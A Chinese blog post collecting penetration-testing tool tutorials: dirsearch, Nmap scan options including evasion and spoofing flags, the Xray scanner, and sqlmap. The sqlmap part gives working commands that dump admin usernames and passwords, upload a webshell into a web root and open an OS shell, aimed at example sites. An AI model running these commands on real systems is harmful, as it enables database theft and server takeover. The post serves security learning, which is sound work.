渗透测试工具

前言

本篇文章总结了很好用的渗透测试工具,会不断更新!!!
供大家学习使用!!!

正文

01 信息收集

1.1 dirsearch

1.1.1介绍:
类似御剑扫描的一款网站目录扫描器,由python编写,功能强大。
1.1.2下载地址1:
dirsearch下载地址
1.1.3下载地址2:
1.1.4Kali使用:
如果kali里没有自带安装,直接输入dirsearch,会自动提示你是否安装,输入“Y”,然后就会自动安装好,就可以正常使用了。
在这里插入图片描述

**注意:**使用dirsearch需要python3.8以上的版本,kali最新版本自带python最新版本,可不用在装python,方便一点!!!!!

1.1.5开始使用:
在这里插入图片描述

1.2 Nmap

1.2.1 介绍:
介绍了端口扫描工具Nmap的安装及使用教程,此处介绍Kali中Nmap的使用,Windows上的后续补充给大家!!
1.2.2 下载地址1:
Windows上下载安装下载地址
在这里插入图片描述
1.2.3 Kali使用:
Kali直接输入nmap便可以使用;
在这里插入图片描述
1.2.4 使用教程
** 常用参数**

-A           :全面扫描. 综合扫描. 是一种完整扫描目标信息的扫描方式.   
--exclude      : 排除指定的地址  例: nmap  192.168.1.0/24  
--exclude 192.168.1.1 那么就不会对192.168.1.1进行扫描,
--excludefile     : 排除指定的地址列表  例: nmap  192.168.1.0/24  --excludefile list.txt 那么就不会对list.txt里面的地址进行扫描,
-iL          : 扫描一个列表文件  例  nmap  -iL  list.txt
-sP        : Ping扫描,效率高,返回信息少.    例: nmap -sP 192.168.1.110 
-P0(Pn)      :无Ping扫描,可以躲避防火墙防护,可以在目标主机禁止ping的情况下使用
-PS        :TCP SYN Ping扫描
-PA        :TCP ACK Ping扫描
PR        : ARP Ping扫描
-n          : 禁止DNS反向解析
-T          : 时序选项, -TO-T5. 用于IDS逃逸,0=>非常慢,1=>缓慢的,2=>文雅的,3=>普通的,4=>快速的,5=>急速的
-p           : 指定端口扫描
-F           : 快速扫描
-f          : 报文分段
-D         : ip地址欺骗  例 nmap -D RND:5 192.168.1.110  RND:为生成随机ip地址 
-sS         : TCP SYN 扫描,速度快, 1秒1000次左右. 较为隐蔽.
-sT         : TCP连接扫描
-sU        : UDP扫描,扫描非常慢,容易被忽视
-sN,-sF       : 隐蔽扫描
-sI          : 空闲扫描,允许端口完全欺骗,可以允许不使用自身ip的情况下发起扫描,非常之隐蔽的扫描.但得先寻找空闲主机,指令为 nmap -p80 -open -script ipidseq 192.168......,第二种是往事随机寻找, nmap -p80 -open -script  ipidseq -iR 2000 (iR选项代表随机选择目标.2000带表选择的数量,-open代表只选择端口开放的空闲主机)
-p-         : 扫描所有端口  1-65535
-top-ports       : 只扫描开发概率最高的端口 后面跟上数值  例  nmap -top-ports  100 , 就是扫描概率最高的前100个端口
<版本探测相关>:
-sV          : 版本探测 ,通过相应的端口探测对应的服务,根据服务的指纹识别出相应的版本.
-sV --allports     : 只有使用--allports才能扫描所有的端口,默认情况下回跳过如 TCP9100端口(hp打印机专用端口)
--version-intersity   : 设置扫描强度 0-9 ,数值越大越有可能被识别,花费时间越多,默认是7
--version-ligth    : 扫描强度,轻量级扫描(2) ,等用于--version-intersity 2
--version-all       :扫描强度,重量级扫描(9)  ,等同于--version-intersity 9
--version-trace     : 获取详细的版本信息
-sR          : 判断开放端口是否为RPC端口, 如果是返回程序和版本号.
--resaon       : 显示主机存活原因

常用参数

1.Nmap的纯扫描,默认情况下,nmap会发出一个arp ping扫描,且扫描目标tcp端口,范围为1-10000。
nmap 127.0.0.1
2.NMAP普通扫描增加输出冗长(非常详细)
nmap -vv 127.0.0.1
3.端口扫描
nmap 127.0.0.1 -p 80  (指定定单个端口)
nmap 127.0.0.1 -p 1-100 (多个端口)
nmap 127.0.0.1 -p- (所有端口)
nmap -sP 10.1.112.89 (Ping扫描)
nmap -sS 127.0.0.1 -p 80 (SYN半连接扫描)
nmap -sT 127.0.0.1 -p 80  (TCP全连接扫描)
nmap -sU 127.0.0.1 (UDP扫描)
nmap -sF  127.0.0.1 (FIN,目标可能有IDS/IPS系统的存在,防火墙可能过滤掉SYN数据包,发送一个FIN标志的数据包不需要完成TCP的握手。)
4.路由追踪
nmap --traceroute 127.0.0.1
5.nmap设置扫描一个网段下的ip
nmap -sP 127.0.0.1 /24
6.扫描目标主机版本(不是很准确)
nmap -O 127.0.0.1 -p 80
7.扫描目标服务版本
nmap -O -sV 127.0.0.1 -p 80
8.全面扫描(包含了1-10000端口ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测)
nmap -A 127.0.0.1 -p-
9.保存结果
nmap -A 127.0.0.1 -p- -oN nmap1
10.nmap命令混合式扫描
nmap -vv -p1-100 -o 127.0.0.1
11.扫描多个目标
nmap 127.0.0.1 127.0.0.2
nmap 127.0.0.1-100 (扫描IP地址为127.0.0.1-127.0.0.100内的所有主机)
nmap -iL target.txt (namp在同一目录下,扫描这个txt内的所有主机)

注:使用时请将127.0.0.1更换为目标IP地址

02 嗅探欺骗

03 漏洞扫描

3.1 Xray使用教程

3.1.1 xray扫描器介绍网络安全交流q:830709780
xray是一种功能强大的扫描工具。xray 社区版是长亭科技推出的免费白帽子工具平台,目前社区有 xray 漏洞扫描器和 Radium 爬虫工具,由多名经验丰富的安全开发者和数万名社区贡献者共同打造而成。

3.1.2 xray下载地址
链接:https://pan.baidu.com/s/1Y_hyIxIEqyo2ucdx7lWtrQ
提取码:1lzl

3.1.3 xray基本使用
下载对应系统的版本后,解压缩zip文件,Linux / Mac用户在终端(终端)运行,Windows用户请在Powershell或其他高级Shell中运行,在CMD中运行可能体验不佳。
1.使用基础爬虫爬取并对爬虫爬取的链接进行漏洞扫描:

xray webscan --basic-crawler http://example.com --html-output xxx.html

2.使用 HTTP 代理进行被动扫描:
设置浏览器 http 代理为http://127.0.0.1:5555,然后使用浏览器访问网页,就可以自动分析代理流量并扫描。

xray webscan --listen 127.0.0.1:5555 --html-output xxx.html

3.快速测试单个 url, 无爬虫:

xray webscan --url http://example.com/?a=b --html-output single-url.html

4.手动指定本次运行的插件:
默认情况下,将会启用所有内置插件,可以使用下列命令指定本次扫描启用的插件。

xray webscan --plugins cmd_injection,sqldet --url http://example.comxray webscan --plugins cmd_injection,sqldet --listen 127.0.0.1:7777

5.生成 ca 证书:

.\xray_windows_amd64.exe genca

04 漏洞利用

4.1 sqlmap使用教程

4.1.1 介绍
SQLMap是一个开放源码的测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器。
具体功能

1、判断可注入的参数
2、判断可以用那种SQL注入技术来注入
3、识别出哪种数据库
4、根据用户选择,读取哪些数据
5、可执行情况
6、当前数据库用户名称和拥有的权限
7、发现WEB虚拟目录
8、上传***getshell
9、绕过防火墙

sqlmap支持的注入模式

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。(适合用于通过循环直接输出联合查询结果,否则只会显示第一项结果)
5、堆查询注入,可以同时执行多条语句的执行时的注入。

4.1.2 安装下载

1. kali自带sqlmap

可直接使用!
在这里插入图片描述

2. Windows下载地址:

sqlmap
在这里插入图片描述

4.1.3 常用请求参数

1. get方法

对于get的请求,比较简单,直接指定目标

-d: 直接连接数据库 (-d "mysql://user:passward@地址:端口/数据库名称")
-u:指定url  (?id=1)
-m:将多个url保存成文件,传给sqlmap (sqlmap -m list.txt)
-r:将http头信息保存到文件,交给sqlmap
-g:google搜索出来的结果 (-g "inurl:\".php?id=1\""\"只是将双引号内的"特殊字符进行转义
-p :只想检查的变量
-f :指纹
--users:数据库帐号
--banner:数据库信息

--dbs:有哪些数据库
-a:all

get请求应该是大家所熟悉的,sqlmap - u直接加URL,参数就可以了。

2. POST方法
下面介绍几种对于post请求的sqlmap注入。
a.使用http请求文件
可以用burpsuite抓包并复制到txt文件

sqlmap -r  1 .txt

b.使用burpsuite log文件 (勾选上options中的Misc中的proxy)

sqlmap  - l log.txt

c.HTTPS
sqlmap同时也支持https的sql注入,只需加入参数-force-ssl告诉sqlmap这是https服务即可。

sqlmap -u https://192.168.1.1/a.php?id=1" -force-ssl  (默认不是443,在后加其端口)

4.1.4 常用方法

1. 检测注入

a.基本格式

sqlmap -u “http://www.vuln.cn/post.php?id=1

默认使用level1检测全部数据库类型

sqlmap -u “http://www.vuln.cn/post.php?id=1”  –dbms mysql –level 3

指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)
b. cookie注入
当程序有防get注入的时候,可以使用cookie注入

sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level达到2才会检测cookie)

c. 从post数据包中注入
可以使用burpsuite或者temperdata等工具来抓取post包

sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql    指定username参数

2. 注入成功后

获取数据库基本信息

sqlmap -u “http://www.vuln.cn/post.php?id=1”  –dbs

查询有哪些数据库

sqlmap -u URL --current-db --batch 

获取当前数据库

sqlmap -u “http://www.vuln.cn/post.php?id=1”  -D test –tables

查询test数据库中有哪些表

sqlmap -u “http://www.vuln.cn/post.php?id=1” -D test -T admin –columns

查询test数据库中admin表有哪些字段

```bash
sqlmap -u “http://www.vuln.cn/post.php?id=1” -D test -T admin -C “username,password” –dump

dump出字段username与password中的数据

3. 其他命令参考下面
a. 从数据库中搜索字段

sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password

在dedecms数据库中搜索字段admin或者password。

b. 读取与写入文件
首先找需要网站的物理路径,其次需要有可写或可读权限。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

#示例:
sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”

使用shell命令:
sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
接下来指定网站可写目录:
“E:\php\htdocs\dvwa”

#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)

05 代码审计

06 密码攻击

07 常用字典

08 webshell

09 其他

总结

本篇文章总结了很好用的渗透测试工具,会不断更新!!!

830709780qq群
更多安全分享,请关注【安全info】微信公众号!

  • 9
    点赞
  • 117
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论
kali中文介绍,适合新手使用。Kali Linux 特性 Kali是BackTrack Linux完全遵循Debian开发标准的完整重建.全新的目录框架、复查并打包所有工具、还为VCS建立了Git 树. 超过300个渗透测试工具: 复查了BackTrack里的每一个工具之后,我们去掉了一部分已经无效或功能重复的工具. 永久免费: Kali Linux一如既往的免费.你永远无需为Kali Linux付费. 开源Git树: 我们是开源软件忠实的拥护者,那些想调整或重建包的人可以浏览我们的开发树得到所有源代码. 遵循FHS: Kali的开发遵循Linux目录结构标准,用户可以方便的找到命令文件、帮助文件、库文件等.. 支持大量无线设备: 我们尽可能的使Kali Linux支持更多的无线设备,能正常运行在各种各样的硬件上,能兼容大量USB和其它无线设备. 集成注入补丁的内核: 作为渗透测试者或开发团队经常需要做无线安全评估.所以我们的内核包含了最新的注入补丁. 安全的开发环境: Kali Linux开发团队由一群可信任的人组成,他们只能在使用多种安全协议的时候提交包或管理源. 包和源有GPG签名: 每个开发者都会在编译和提交Kali的包时对它进行签名,并且源也会对它进行签名. 多语言: 虽然渗透工具趋向于用英语,但我们确保Kali有多语言支持,可以让用户使用本国语言找到他们工作时需要的工具. 完全的可定制: 我们完全理解,不是每个人都赞同我们的设计决定,所以我们让更多有创新精神的用户定制Kali Linux (甚至定制内核)成他们喜欢的样子变得尽可能的容易. ARMEL和ARMHF支持: 自从基于ARM的设备变得越来越普遍和廉价,我们就知道我们该竭尽全力的做好Kali的ARM支持.因此有了现在的ARMEL 和 ARMHF架构的系统.Kali Linux有完整的主线发行版的ARM源,所以ARM版的工具将会和别的版本同时更新.Kali现在可以运行在如下的ARM设备:

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

流浪法师12

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值